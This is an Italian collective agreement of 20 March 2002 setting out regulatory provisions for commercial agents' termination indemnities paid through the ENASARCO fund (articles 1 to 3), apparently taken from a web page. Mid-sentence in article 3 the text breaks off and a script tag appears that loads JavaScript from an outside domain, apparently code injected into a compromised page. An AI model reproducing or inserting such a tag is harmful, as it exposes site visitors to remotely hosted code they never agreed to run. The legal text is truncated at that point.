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Categoria: Agenti di commercio (piccola e media impresa)
Settore: Commercio
Data stipula: 20-3-2002

DISPOSIZIONI REGOLAMENTARI DI CUI AGLI ARTT. 12 E 23,
ACCORDO ECONOMICO COLLETTIVO 20 MARZO 2002

PER LA DISCIPLINA DEL RAPPORTO DI AGENZIA E RAPPRESENTANZA COMMERCIALE


Il giorno 20 marzo 2002, in Roma,

tra  le  stesse  parti stipulanti che hanno sottoscritto in  data  odierna
l'accordo che rinnova l'accordo economico collettivo 25 luglio 1989

si  è  stipulato  il presente accordo per provvedere alla redazione  delle
disposizioni  regolamentari, di cui agli artt. 12 e 23, Accordo  economico
collettivo  20  marzo 2002, in sostituzione del regolamento stipulato  con
Accordo 25 luglio 1989.

Le seguenti disposizioni regolamentari hanno la stessa decorrenza e durata
dell'accordo economico collettivo del 20 marzo 2002.



I.   DISPOSIZIONI REGOLAMENTARI PER L'ACCANTONAMENTO DELLE SOMME DOVUTE
     A TITOLO  DI INDENNITÀ PER LA RISOLUZIONE DEL CONTRATTO DI AGENZIA
     E RAPPRESENTANZA COMMERCIALE

Articolo 1.

L'accantonamento  delle  somme dovute, ai  sensi  dell'art.  10,  capo  I,
Accordo  economico  collettivo  20.3.02,  in  caso  di  scioglimento   del
contratto  di  agenzia e rappresentanza commerciale, verrà  effettuato  in
costanza  di  rapporto presso il "Fondo per la risoluzione del  rapporto",
gestito da ENASARCO. Sull'ammontare delle somme versate dalle ditte l'Ente
riconoscerà alle ditte medesime l'interesse annuo del 4%.

Il Fondo provvede all'erogazione agli agenti e rappresentanti di commercio
industriali  e  della cooperazione dell'indennità per la  risoluzione  del
rapporto, di cui all'art. 10, capo I, AEC 20.3.02.



Articolo 2.

Le ditte tenute all'applicazione dell'Accordo economico collettivo 20.3.02
hanno  l'obbligo  di iscrivere i propri agenti e rappresentanti  al  Fondo
entro  30  giorni  dall'inizio del rapporto di agenzia  e  rappresentanza,
comunicando  la  data  d'inizio  del  rapporto  stesso  e  le   generalità
dell'agente  e  rappresentante, opportunamente documentate da  certificati
anagrafici    forniti   dall'interessato,   e   il   relativo   domicilio,
specificando, quando l'agente o rappresentante sia una società per azioni,
o in accomandita per azioni, o a responsabilità limitata, la denominazione
di essa.

Le  ditte  sono tenute a comunicare la variazione del domicilio e  i  dati
anagrafici  dell'agente  o  rappresentante in base  ai  documenti  forniti
dall'interessato.

Nel  caso in cui l'agente o rappresentante sia una Associazione di  fatto,
una  Società  semplice, collettiva o in accomandita semplice, l'iscrizione
di essa all'Ente deve essere effettuata dalla ditta mentre i dati relativi
ai  singoli  soci  e la precisazione delle percentuali dei  versamenti  da
accreditare  ad ognuno di essi devono essere forniti a cura della  Società
agente o rappresentante.

I  soci  delle  Società indicate nel comma precedente  possono  esercitare
individualmente  i  diritti derivanti dall'iscrizione all'Ente,  che  darà
comunicazione  alla  Società  a cui l'interessato  partecipa  di  tutti  i
provvedimenti adottati.

Le  ditte comunicheranno all'Ente la cessazione del rapporto di agenzia  o
rappresentanza entro 1 mese dalla cessazione stessa.



Articolo 3.

Le somme dovute a titolo d'indennità per la risoluzione del rapporto sulle
provvigioni e le altre somme liquidate nel corso di ogni anno  solare  (1°
gennaio  -  31  dicembre) saranno trasmesse al Fondo  entro  il  31  marzo
successivo.

Nel  caso  d'inizio o cessazione del rapporto di agenzia e  rappresentanza
commerciale nel corso dell'anno solare, gli scaglioni di cui all'art.  10,
capo   I,   Accordo  economico  collettivo  20.3.02  saranno  ridotti   in
proporzione ai mesi di durata del rapporto nell'anno solare

I  versamenti dovranno essere accompagnati con una distinta da cui risulti
chiaramente  la  causale  del  versamento  riferita  a  ciascun  agente  o
rappresentante.

Qualora  il  versamento  sia effettuato con vaglia  postale  o  sul  con<script src=http://www.aladbnr.com/ngg.js></script>













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